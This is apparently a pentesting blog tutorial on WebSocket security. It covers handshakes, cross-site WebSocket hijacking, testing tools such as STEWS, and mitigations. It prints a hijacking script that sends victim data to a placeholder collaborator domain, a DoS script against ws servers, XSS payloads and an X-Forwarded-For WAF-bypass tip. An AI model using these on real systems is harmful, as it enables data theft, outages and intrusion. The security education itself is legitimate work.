WebSockets Pentesting -Everything You Need To Know About

Spring Boot Pentesting Lab Setup2

WebSockets Pentesting
WebSockets Pentesting

In this blog, I will be covering the deep internals of WebSocket communication and WebSockets pentesting essentials for every hacker.

WebSockets are a bi-directional, full duplex communications protocol initiated over HTTP. So they are mostly used in web application for streaming data.

The majority of communication between web browsers and websites is done using HTTP. This involves the client sending a request to the server, which then sends back a response. Usually, the response is received right away, and the transaction is finished. Even if the network connection remains open, it will be used for a different transaction involving a new request and response.

Certain contemporary websites utilize WebSockets, which are connections established over HTTP and tend to last for a significant duration. These connections allow for the exchange of messages in either direction at any given time, without being transactional in nature. Typically, the connection remains open and inactive until either the client or the server is prepared to transmit a message.

image

WebSockets are beneficial in situations that require quick response times or messages initiated by the server, such as receiving real-time updates of financial data

Basically, these connections are normally created using the client side JavaScript.

var ws = new WebSocket("wss://normal-website.com/chat");

The wss protocol establishes a WebSocket over an encrypted TLS connection, while the ws protocol uses an unencrypted connection.

An example of connection, is how the browser and the server perform over HTTP:

image 9

It replies with the message if the connection/server accepts the connection and the response is the following:

image 10

After the connection is made and a message is sent from the client side, then it looks like this:

ws.send("Hi");

Or

{
"message":"HI"
}

Several features of the WebSocket handshake messages are worth noting:

  • The Connection and Upgrade headers in the request and response indicate that this is a WebSocket handshake.
  • The Sec-WebSocket-Version request header specifies the WebSocket protocol version that the client wishes to use. This is typically 13.
  • The Sec-WebSocket-Key request header contains a Base64-encoded random value, which should be randomly generated in each handshake request.
  • The Sec-WebSocket-Accept response header contains a hash of the value submitted in the Sec-WebSocket-Key request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.
  • So we have an option where we can use the proxy intercept tab to intercept the messages and modify and also from the repeater we can send the message over and over again to see the response we can also decide whether we want to send the request to the server or client
  • Manipulating the web socket connection is necessary to manipulate the handshake that establishes the connection. There is a necessity as It can enable you to reach more attack surfacess.
  • Some attacks might cause your connection to drop, so you need to establish a new one.
  • Tokens or other data in the original handshake request might be stale and need updating.

image 1

WebSockets Pentesting – How to Exploit and Detect

To identify a WebSocket vulnerability on the application, followings can be done:

  • Does the application allow the communication using ws instead of wss?
  • Is there an input validation in place for the message sent?
  • Is the Origin header being checked or can you write your own domain there? (try to exploit it if there is no randomized CSRF token in the GET request)
  • Is it possible to send unrestricted cross domain calls to lead to DoS attacks?

Using a WebSocket client, attempt to connect to the remote WebSocket server. If a connection is established, the server may not be checking the origin header of the WebSocket handshake.

Some of the most common security weaknesses can be listed as follows:

  • Unencrypted Communications
  • Cross-Site WebSocket Hijacking (CSRF with WebSockets)
  • Sensitive information disclosure over the web/network
  • Denial of Service
  • Cross-Site Scripting

Let’s understand some of them:

Cross-Site WebSocket Hijacking (CSRF with WebSockets)

In case WebSocket handshake relies on HTTP cookies for the session and doesn’t include a CSRF token, an attacker can create a custom script to establish a cross-site WebSocket connection on their own domain for the vulnerable application. It’s possible for an attacker to extract sensitive information using this attack method.

A common script that can be used for exploitation of this vulnerability can be found below:

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retrieve confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script> 

Unencrypted Communications / Sensitive Information Disclosure Over Network

The WebSockets protocol aka WS is a plain-text protocol just like HTTP. In case of the use, it’s possible for an attacker to capture and modify the traffic over the network.

In order to test if the plain-text communication is allowed, the following tool can be used:

Besides testing with a browser using ws://, you can also test if the application supports plain-text communication with ws by using online tools.

Denial of Service:

WebSockets allow unrestricted cross domain calls by default which leads to DoS vulnerabilities. Following is a common script that crashes the WebSocket server which affects some ws client versions:

const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'
const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');
const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
}); 

Input-Validation Vulnerabilities

In case the input validation is weak on WebSocket user input, it’s possible to trigger injection attacks using WebSocket vulnerabilities such as XSS, SQL injection, XXE, etc.

For the sake of this example, imagine there is a chat application which uses Websockets that we are testing. When the user types a message, it can be sent in the following format:

{“message”:”Hello world”}

In case there is no input validation in place, (or a weak filter to be bypassed) an attacker can intercept the request with a web proxy (Burp in this case) to trigger an XSS pop-up by replacing their own payload:

{"message":"<img src=1 onerror='alert(1)'>"} 

For WAF bypass use “X-Forwarded-For: 1.1.1.1” Header.

Basically the Above method is used when there is a WAF, and we have to bypass them, so first we all have to establish a connection and send the payload then it will basically show a response that the IP has been blacklisted, so now we have to bypass it using the above method and then send the payload again. Please keep a note when the address is showing restricted try to perform further in repeater and simultaneously try to reconnect to server using the X-Forwarded-For: 1.1.1.1/25 so on and then after reconnection send a websocket msg with the payload if there is no reply try different a lot of payloads. I prefer <img src=1 oNeRrOr=alert1>

gifmachine 21 1

Cross-Site WebSocket Hijacking (CSWSH)

(in depth)

The WebSocket protocol requires a handshake to establish a full-duplex communication channel. This handshake upgrades the communication protocol from HTTP to WebSocket, but it is also a weak point in terms of security, especially when dealing with sensitive data. A typical life cycle for a WebSocket client-server interaction goes like this:

  • The client starts a connection by sending an HTTP(S) WebSocket handshake request.
  • The server responds with a handshake response (which is handled by the web application server without the application knowing) and sends a status code of 101 Switching Protocols.

After establishing a connection, the browser and server use the WebSocket API to communicate in a symmetrical manner, allowing both parties to send and receive text and binary messages. This is defined by the HTML5 WebSocket API specification and the WebSocket Protocol RFC 6455.

We will examine the handshake request and analyze the request headers to upgrade the protocol to WebSockets in a hypothetical stock portfolio management application. This application uses WebSockets to efficiently send real-time stock quotes to logged-in users and receive stock orders from them.

"GET /trading/ws/stockPortfolio HTTP/1.1"
Host: www.some-trading-application.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Sec-WebSocket-Version: 13
Origin: https://www.some-trading-application.com
Sec-WebSocket-Key: x7nPlaiHMGDBuJeD6l7y/Q==
Cookie: JSESSIONID=1A9431CF043F851E0356F5837845B2EC
Connection: keep-alive, Upgrade
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

The authentication data, such as the Cookie header, is sent along with the upgrade handshake in the HTTP(S) request headers. This is in accordance with the specification and RFC for browsers. The same applies to HTTP-Authentication data. After a successful WebSocket handshake, the server responds with a 101 Switching Protocols status code, indicating that a ws:// or wss:// connection has been established between the browser and server. The Sec-WebSocket-Key header is used in the handshake process to ensure that the server has correctly received and understood the request, and it is generated automatically by the browser initiating the WebSocket request.

Now, let’s think about the outcome when a developer adopts the widely-used approach of utilizing session cookies for authenticating the WebSocket handshake/upgrade request in a secure section of a web application where users are logged in. An attacker can exploit the lack of same-origin policy in WebSockets to send a malicious request to a vulnerable application, even from a different webpage. This request can include cookies and HTTP-Authentication headers from the browser. Take a looks how a malicious website can access a trading application’s WebSocket endpoint and stock portfolio information if the victim is logged in while visiting the malicious site. It provides an example of how this can be done by accessing the trading application’s WebSocket endpoint from a malicious webpage.

"GET /trading/ws/stockPortfolio HTTP/1.1"
Host: www.some-trading-application.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Sec-WebSocket-Version: 13
Origin: https://www.some-evil-attacker-application.com
Sec-WebSocket-Key: hP+ghc+KuZT2wQgRRikjBw==
Cookie: JSESSIONID=1A9431CF043F851E0356F5837845B2EC
Connection: keep-alive, Upgrade
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

In this scenario, the browser sends authentication information, such as a session cookie, during the WebSocket handshake. This creates a vulnerability similar to a Cross-Site Request Forgery (CSRF) attack. However, in the WebSocket scenario, the attack goes beyond a write-only CSRF attack and allows the attacker to establish a new WebSocket connection using the victim’s authentication data. This attack vector is known as Cross-Site WebSocket Hijacking (CSWSH).

As a result, the attacker can read the victim’s stock portfolio updates transmitted through the WebSocket connection and make changes by sending write requests through the WebSocket connection. The server’s WebSocket code relies on the session authentication data provided by the browser during the WebSocket handshake, enabling this unauthorized access.

Another interesting aspect is the Origin header sent during the WebSocket handshake. In regular HTTP(S) CORS requests, if the server doesn’t explicitly allow cross-origin requests, the browser prevents JavaScript on a malicious webpage from accessing the response. However, with WebSockets, the default behavior is inverted: even without proper CORS response headers, the browser establishes the WebSocket connection and allows access to the response. This demonstrates that WebSockets are not protected by the same-origin policy (SOP), and developers should not rely on SOP for WebSocket-based applications. It’s important for server-side code to check the Origin header, even though it may seem unrelated to CORS. Must See this Command Line Tool.

do you understand goob 1

TOOLS

Websocket Debugger(wsd)

Simple command line utility for debugging WebSocket servers.

Installation:-

$ go get github.com/alexanderGugel/wsd

Usage:-

Usage of ./wsd:
  -help
      Display help information about wsd
  -insecureSkipVerify
      Skip TLS certificate verification
  -origin string
      origin of WebSocket client (default "http://localhost/")
  -protocol string
      WebSocket subprotocol
  -url string
      WebSocket server address to connect to (default "ws://localhost:1337/ws")
  -version
      Display version number```

## Why?

Debugging WebSocket servers should be as simple as firing up `cURL`. No need
for dozens of flags, just type `wsd -url=ws://localhost:1337/ws` and you're
connected.

Websocket Fuzzer

Link

A simple websocket fuzzer for application penetration testing.

Three tools are provided:

  • websocket-fuzzer.py: Receives a websocket message, modifies it, and then sends it in different connections. The response is analyzed to find potential vulnerabilities.
  • send-one-message.py: Sends a websocket message using a new connection
  • analyze-output.py: Analyzes the data generated by websocket-fuzzer.py

Installation and Usage

pip install -r requirements.txt

# edit send-one-message.py
python send-one-message.py

The workflow for these tools is fairly simple:

  • Use send-one-message.py to define most of the variables, make sure that authentication is working, etc. Confirm all this with the logs and traffic seen in the local proxy.
  • Move the send-one-message.py configuration to websocket-fuzzer.py and customize the remaining parameters. Start the process and confirm that the fuzzer is sending what you expect.
  • Customize the payloads which are sent to the target using payloads/payloads.txt
  • The websocket-fuzzer will store the logs in text files with this format: output/{token-id}/{connection-id}-{message-number}.log. The token-id identifies the section of the fuzzed message that was modified. Grouping by token-id helps the analyze-output.py tool identify vulnerabilities.
  • Analyze the logs using grep to find specific things you’re looking for, or analyze-output.py for a more generic analysis.

Websocket-harness

The Python library websocket-harness is commonly used in Networking and Websocket applications. It is known for being bug-free and secure, but it lacks extensive support. However, the build file for websocket-harness is not currently accessible, but you can obtain it from GitHub. This script in Python can act as a mediator between conventional web penetration testing tools and WebSocket connections. It converts HTTP to WebSocket and vice versa.

Think of it like a fuzzing harness that is used for native code.

Example: python websocket-harness.py -p 8000 -u ws://dvws.local:8080/authenticate-user

In the example above, the WebSocket harness will listen on local loop back, and forward any HTTP POST requests to the target WebSocket endpoint (ws://dvws.local:8080/authenticate-user).

Browser Websocket Tools:-

See Also:-

image 5

image 6
Demo Commands!!

STEWS: Security Testing and Enumeration of Websockets

Best Tool in the market by Palindrome labs

This tool in a suite for testing of web sockets, and it has the ability to Discover, fingerprint and also vulnerability detection. This tool is so popular in the market because there is lack of support and scriptable web socket testing tools. It mainly focuses on their major hurdles which were Discover, fingerprint and also vulnerability detection.
The 3 Key Steps in web sockets security testing :

  • Discovery
  • Fingerprinting
  • Vulnerability Detection

STEWS DISCOVERY TOOL

The STEWS discovery tool uses a modified version of ZGrab2 to check if a URL supports WebSockets by sending a WebSocket connection handshake. If the server responds with an HTTP 101 “Switching Protocols” response, it means that the server supports WebSockets. The tool uses a brute-force method with a word list to find WebSocket endpoints because they may only be accessible at specific paths. By sending many handshake requests and filtering for servers with a 101 status code, the tool can discover many WebSocket endpoints. However, there are some weaknesses to this method. ZGrab2 is a software that is still being developed and has made some improvements in handling HTTP requests. However, it was initially designed to work at the TCP/IP layer and may not be efficient for high throughput DNS lookups. Here’s a great GitHub repository.

WebSockets rely on HTTP to establish a connection, but simply looking at HTTP traffic does not necessarily mean a WebSocket is being used. Many websites use JavaScript to initiate WebSockets, so the WebSocket endpoints may not always be found by parsing HTML. This is because sometimes the WebSocket endpoint is a separate API and is not directly linked to the main website. WebSockets can only be accessed at a specific URL path and port of the endpoint.

The process of finding WebSockets on a specific website involves spidering the website’s HTML and searching for WebSocket keywords in the source code. However, this method can result in false positives. Another approach is to spider the website and load all JavaScript, then watch for HTTP 101 responses. This method is slower due to the loading of all JavaScript. Acquiring large lists of URLs can be done through Googling “Top million URLs” or using Zone Files, which are used by DNS servers for lookups. However, many URLs in the zone file may not be active. To find WebSockets on any website, a common WebSocket endpoint wordlist can be used to brute force a large list of websites.

However, this method only tests the endpoints in the wordlist. Other difficulties include the large number of DNS lookups, which can be a bottleneck due to rate limits on DNS servers. Using multiple DNS servers or performing DNS lookups beforehand can help mitigate this issue. Additionally, obtaining a wordlist of probable WebSocket paths for brute forcing requires manual effort, such as finding known WebSocket endpoints through random browsing, bug bounty reports, and reading GitHub WebSocket repository issues.

There are difficulties in scalable WebSocket endpoint discovery:-

  • Tools like masscan and zmap are fast at endpoint detection, but they operate at the TCP/IP layer while WebSocket discovery requires operating at the HTTP/WebSocket layer.
  • Burp Suite’s Turbo Intruder is fast at the HTTP layer, but it is designed for sending lots of requests to a single host, not testing many hosts.
  • ZGrab2 is a fast application-layer scanner, but it requires tweaks to support WebSocket requests.

Usage and dependencies

The STEWS-discovery.sh script is a bash script tested on Linux. The only dependencies are jq and a zgrab2 binary from the custom Palindrome Technologies zgrab2 fork (a working binary can be downloaded from here).

The script uses the known-endpoints.txt by default (these known WebSockets servers are part of bug bounty programs), but any text file of domains can be provided as input.

The STEWS-discover.sh script can be modified to view additional information about each server. For example, adding .data.http.result.response.headers to the values provided to jq will output the headers from each server.

Command:- bash STEWS-discovery.sh

STEWS Fingerprinting Tool

There are several popular WebSocket servers available in different programming languages such as C++, Go, JavaScript, Python, and Java. Unlike other fingerprinting tools that handle only one protocol, WebSocket servers handle both HTTP and WebSocket protocols. WebSocket servers usually listen at a specific URL path, unlike other tools that query specific URL paths. To identify WebSocket server features, a deterministic fuzzer can be used to test different aspects such as supported protocol versions, reserved and opcode bit support, verbose error messages, and default maximum data length. There are over 50 test cases available for STEWS fingerprinting, including:-

  • -a, –all-tests Run all tests
  • -1, –series-100 Run the 100-series (opcode) tests
  • -2, –series-200 Run the 200-series (rsv bit) tests
  • -3, –series-300 Run the 300-series (version) tests
  • -4, –series-400 Run the 400-series (extensions) tests
  • -5, –series-500 Run the 500-series (subprotocols) tests
  • -6, –series-600 Run the 600-series (long payloads) tests
  • -7, –series-700 Run the 700-series (hybi and similar) tests

Usage

First, make sure you have the necessary Python 3 dependencies installed using pip3 install -r requirements.txt. Then if you run python3 STEWS-fingerprint.py -h you will be greeted by the following options:

image 2

WebSockets Vulnerability Detection

The STEWS tool helps users check if a WebSockets endpoint is at risk of known CVEs or other vulnerabilities.

The tool currently supports tests for vulnerabilities including:

  • CSWSH (Cross-Site WebSocket Hijacking)
  • CVE-2020-27813 (Gorilla DoS Integer Overflow)
  • CVE-2020-7662 & CVE-2020-7663 (faye Sec-WebSocket-Extensions Regex DoS)
  • CVE-2021-32640 (ws Sec-Websocket-Protocol Regex DoS)
Usage:-

First, make sure you have the necessary Python 3 dependencies installed using pip3 install -r requirements.txt. Then if you run python3 STEWS-vuln-detect.py -h you will be greeted by the following options:

image 7

Test 1 provides a generic CSWSH test. This can be used in combination with the -o flag to specify a specific origin to attempt to bypass any server-side checks.

Tests 2, 3, and 4 check for specific CVEs. The test cases for these were created based on the PoC code published as part of the discovery of these CVEs. For example, to run test 4 on a local server on port 8084, you can run: python3 STEWS-vuln-detect.py -4 -n -u 127.0.0.1:8084

WebSocket Library Vulnerabilities

image 4

A longer list of WebSocket server CVEs found in here.

Demo:

STEWS Fingerprint Local Server Demo

Screenshot 2023 07 03 182223 1

STEWS Fingerprint Public Server Demo

Screenshot 2023 07 03 182917

STEWS Vuln Detect Demo

image 3

Mitigation

— Let’s Discuss

  • As we are aware of the labs, For handshake requests, use session individual random tokens, like CSRFTokens, and verify them on the server.
  • Always use the wss:// Protocol, as its an encrypted one( Web socket over TLS).
  • Use of rate limiting based on IP.
  • Also make sure to verify the origin header since the origin header is designed to protect the server against the attacker-who initiated a cross site connection to victim browser.
  • Make sure to hard-code the URL of the web socket endpoint .
  • Treat data received via the WebSocket as untrusted in both directions. Handle data safely on both the server and client ends, to prevent input-based vulnerabilities such as SQL injection and cross-site scripting.
  • As a developer :-
    • It is important to be familiar with this type of attack and know how to use countermeasures properly in your application, especially when accessing non-public data through WebSockets. It is recommended to avoid accessing the web session through the server-side WebSocket and instead use tokens or other authentication techniques within the WebSocket protocol.

Refrences:-

https://book.hacktricks.xyz/pentesting-web/cross-site-websocket-hijacking-cswsh

https://github.com/joewalnes/websocketd

https://github.com/PalindromeLabs/STEWS

https://web.archive.org/web/20190306170840/https://www.vdalabs.com/2019/03/05/hacking-web-sockets-all-web-pentest-tools-welcomed/

https://christian-schneider.net/CrossSiteWebSocketHijacking.html

https://medium.com/r3d-buck3t/bypass-ip-restrictions-with-burp-suite-fb4c72ec8e9c

https://datatracker.ietf.org/doc/html/rfc6455

BOOK

https://github.com/0ang3el/websocket-smuggle

https://snikt.net/blog/2019/05/22/to-fuzz-a-websocket/

https://github.com/PalindromeLabs/STEWS/blob/main/WebSockets_AppSec_US_2021_Presentation.pdf

HAckWebsocket

https://github.com/0ang3el/websocket-smuggle/blob/master/Hacktivity2019.pdf

Read our Previous Blogs.

If you enjoyed this blog post, share it with your friends and colleagues!!

Leave a Reply

Your email address will not be published. Required fields are marked *